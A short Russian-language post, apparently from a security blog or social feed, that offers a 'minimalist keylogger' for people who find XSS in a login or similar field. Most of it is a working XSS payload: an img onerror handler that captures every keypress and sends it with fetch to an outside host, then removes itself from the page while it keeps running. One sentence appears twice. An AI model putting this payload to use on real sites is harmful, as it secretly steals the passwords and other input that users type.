Минималистичный кейлогер, который удаляется со страницы (но продолжает работать):
Тем ребятам, которые не знают что делать, когда XSS в логине пользователя или в подобных местах :)
<img src=x onerror='document.onkeypress=function(e){fetch("//bo0om.ru?k="+String.fromCharCode(e.which))},remove()'>Тем ребятам, которые не знают что делать, когда XSS в логине пользователя или в подобных местах :)